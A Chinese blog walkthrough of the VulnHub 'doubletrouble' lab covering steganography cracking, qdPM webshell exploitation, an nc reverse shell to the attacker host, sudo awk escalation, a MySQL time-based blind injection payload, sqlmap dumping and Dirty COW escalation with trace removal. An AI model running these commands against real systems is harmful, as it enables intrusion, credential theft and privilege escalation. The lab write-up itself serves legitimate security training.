Vulnhub打靶记录:doubletrouble
相关信息
kali:10.0.0.9/24
靶机:外层:10.0.0.14/24,内层:10.0.0.23
靶机介绍:doubletrouble: 1 ~ VulnHub。
靶机下载:https://download.vulnhub.com/doubletrouble/doubletrouble.ova
目标:2个 root权限
难度:中
这个靶机有两层,当完成第一台靶机的提权后可以获得第二个靶机的
ova文件,获取后需要再次导入virtualbox中进行打靶。
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- WEB信息搜集:没有页面源码的读取非常关键
- 开源CMS漏洞利用
- 隐写术:
seg等工具的使用 - 密码爆破 CTEObins提权 SQL盲注 脏牛提权
下意识的操作
- 在
url的写入中很有可能需要在最后加上/,部分命令或者场景必须加上/ - 每台靶机都需要尝试内核漏洞,这个一定一定是需要尝试的
- 对于任何可能存在的漏洞都进行
searchsploit查看其历史漏洞
主要的知识点
sql基于时间的盲注入使用- 脏牛内核漏洞的适用版本
外层靶机具体流程
信息搜集
-
主机发现,端口扫描,版本发现。主机打开的有
22,80端口,80 : qdPM是有个登陆界面的。此外nmap并没有太多的信息,所以web就成了重中之重。
对
qdPM对于版本相关漏洞的搜集和阅读,发现远程代码执行的相关漏洞都需要进行身份认证才能顺利使用,暂且放下。
-
访问后是一个
qdPM应用的登陆界面,其版本为9.1。对其进行简单弱口令,sql注入,万能密码都是没有效果的,通过源码的查看可以看到这个开源项目的网页地址。(主要是账号为邮箱,暴力破解难度大)
-
点击进入后虽然官网的版本已经升级到了
9.3,但并不影响我们进行相关的信息了解。可以看到官网提示我们在按照这个web应用时需要注意删除:/install, /core/cache/qdPM这两个目录。
-
/install:可以发现为一个数据库的配置网页,虽然通过该网页能够进行数据库的创建,但是明显对于我们突破边界没有任何帮助,并且无法读取想要的数据。
-
/core/cache/qdPM:就是一个配置的文件网站,依次浏览相关文件直到在settings.yml文件中发现一行加密秘的类似密文的字符串234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA,并不能确定其具体的含义。

-
-
常规的手工检测完毕,对
web进行路径爬取:dirsearch -u http://10.0.0.14。发现个非常具有提示的web路径:secret。
访问后为一个图片文件,由于这个具有提示性质的路径名,同时也没有其他的测试思路,所以对这个图片进行检测就现的非常有必要。
图片隐写
-
下载图片后,用
steghide工具对该图片进行检测,发现里面可以隐写4.7KB的数据,但是其内容进行了加密无法查看。 steghide相关说明
-
使用
stegcracker图片隐写爆破工具时,可以通过他的提示发现stegcracker已经停止维护,我们可以使用stegseek这个效率远超stegcracker并且还在维护的的暴力破解工具。
-
stegseek安装:在提示的下载地址中下载deb文件,然后直接键入apt install xxx.deb对其进行安装。
-
stegseek使用:键入下列命令即可快速的暴力破解加密的隐藏内容,并将其隐写内容写入到file这文件中。不难发现隐写内容就是简单的ASCII文本内容:otisrush@localhost.com :otis666
-
qdPM漏洞利用
-
通过获得的
otisrush@localhost.com :otis666,尝试对qdPM开放的登陆页面进行登陆尝试,成功进入。
-
将刚开始信息收集是查询到的几个漏洞利用脚本拷贝,选择
50175.py这个脚本进行尝试。但是执行时发现程序报错,打开后发现该python脚本存在大量的缩进错误,我们需要手动的修正。
部分需要修改的展示:

-
通过脚本提示方法来进行命令的键入,只需要注意
url参数最后需要加上/否则无法正常使用。
通过脚本反馈阅读不难发现脚本叫后门脚本放在
/uplaods/users目录中,可以通过url中的cmd参数控制执行系统命令。
突破边界/提权
- 确定靶机上
nc的位置:

-
上载
cmd=nc -e /bin/bash 10.0.0.10 4444的payload,可以发现成功的反弹shell。进行简单的shell升级和信息搜集,发现靶机能够无密码使用sudo /usr/bin/awk
-
通过
gtfobins网站可以看出当awk命令权限配置错误时可自接键入下面的命令完成提取。

内层靶机具体流程
靶机获取
-
通过
nc命令进行文件的传输,
-
通过
md5sum命令对靶机进行指纹验证,确保其完整性。md5sum, sha3sum , sha256sum命令的介绍

信息收集
-
主机发现,端口扫描,版本发现。靶机开启了
22,80端口,但是并没有太多的发现。
-
对
80端口进行路径爬取也没有太大的收获:dirsearch -u http://10.0.0.23,包括对发现的/cgi-bin目录进行迭代爬取也是没有新的发现:dirsearch -u http://10.0.0.23/cgi-bin。
-
访问
80:web是一个登陆的界面,查看源码,弱密码的尝试和简单的万能密码也是没有成功的尝试。
sql注入
-
无论是路径爬取还是手工检测
web页面都没有具体的收获,所以使用burp来对web的登陆页面进行具体的sql注入测试。直到测试到时间盲注才发现能够注入点,在uname和psw这两个变量都具有这个注入点,对其赋值为' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #':用来结束uname变量的赋值AND:用于逻辑连接(SELECT (SLEEP(5)))XYHZ:这是一个子插叙,使用了sleep函数,同时对其起了个别名为XYHZ:要求这个别名靶机的数据库中一定不存在,随便起一个即可SELECT X FROM:就是一个查询X为一个不存在的列即可#:必须和前面的payload有个空格,才能保重单行注释的生效。
上载该
payload不难发现网页的返回时间延迟了大概5s,从而确定具有盲注入漏洞。

-
通过将数据包保存为
sql.txt,然后直接使用sqlmap进行漏洞利用:-
sqlmap -r sql.txt:可以确认uname是有基于时间的盲注入
-
sqlmap -r sql.txt -p uname --dbms mysql --dbs:-q指定漏洞产生的具体参数位置,--dbms指定数据库类型,综上这个命令会爆出靶机上的数据库。
-
-
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble --tables:爆出doubletrouble数据库中的表。
-
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --columns:爆出doubletrouble数据库中的users表的列。
-
sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --dump:爆出doubletrouble数据库中的users表的所以列的值。
图片边界/信息搜集
-
对
sql注入获取的用户和密码进行尝试,发现clapton :ZubZub99可以成功的ssh登陆靶机从而突破边界为一个基本用户clapton。
-
可以发现靶机上没有
sudo命令,查看内核版本为3.2.0-4-amd64,低于3.9的linux内核,可以直接进行脏牛的内核提权。https://www.cnblogs.com/feizianquan/p/10791262.html,为exp地址。
-
通过
nc进行文件的传递,对exp进行编译然后赋予可执行权限,进行执行成功的进行提权。脚本提示我们firefart :fionu3giiS71就为脚本创建的一个root用户。(在提权前最好使用下的命令将passwd文件备份一份:cp /etc/passwd /tmp/passwd.bak)
-
退出现在的需要将原先的
ssh登陆exit退出,使用firefart :fionu3giiS71重新进行登陆,可以发现firefart确实是root用户。如果有必要我们可以利用已经备份的passwd文件来篡改root用户的密码,再删除firefart用户来消除痕迹。- 恢复备份文件,然后利用
passwd命令修改root用户密码为:1234
- 以
root :1234来登陆靶机,完成打靶。
- 恢复备份文件,然后利用
相关工具/命令
命令
md5sum, sha3sum , sha256sum
-
what? 返回
都是计算
hash的命令,直接用<命令> <file>即可
deb程序包的按照
可以直接通过 apt install xxx.deb的方式来直接对这种程序包进行安装。
工具
stegseek
-
what? 返回
Stegseek是一款轻量级工具,是全球最快的Steghide解密工具之一。它每秒能够处理数百万的密码,是其他解密工具的数千倍1。它是原始Steghide项目的一个分支而构建,可以用于从文件中提取隐藏的数据1。
-
how to use?
stegseek --crack xxx.jpg -xf file:破解xxx.jpg,成功后将加密的内容写入到file文件中。stegseek <载体图像或音频文件> <字典文件>:直接这样也可以
steghide
-
what? 返回
Steghide是一个用于隐写术的开源工具,它允许用户将秘密信息嵌入到图像和音频文件中,并从中提取隐藏的信息。它在Kali Linux等渗透测试和安全评估操作系统中常见,并且被广泛用于数字取证和信息隐藏领域。
-
how to use?
-
隐藏信息:使用以下命令将秘密信息嵌入到图像或音频文件中:
steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名> -
提取隐藏信息:使用以下命令从图像或音频文件中提取隐藏的信息:
steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名> -
加密隐藏信息:你可以选择使用密码来加密隐藏的信息,以增加安全性。
steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名> -p <密码> steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名> -p <密码>
-
-
related parameters
-p <密码>:可选参数,用于对隐藏的信息进行加密和密码保护。如果使用该参数,发送方和接收方必须使用相同的密码来提取隐藏的信息。-steg <steg类别>:可选参数,用于指定隐藏信息的方法。steg类别可以是LSB1、LSB1-2、LSBE-1、LSBE-1-2等,每种方法有不同的隐藏能力和隐蔽性。info:参数用于查看载体文件中嵌入的隐藏信息的信息
相关payload
脏牛内核漏洞利用
影响版本低于3.9的linux内核,直接编译执行即可
https://www.cnblogs.com/feizianquan/p/10791262.html
mysql时间盲注
' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #
复盘/相关知识
了解
Web应用qdPM
-
what? 返回
是一个开源的项目管理软件。它提供了一套功能强大的工具,用于项目管理、缺陷跟踪、任务管理、团队协作等。QDPM主要用于帮助团队组织、协调和监控项目的不同方面。

浙公网安备 33010602011771号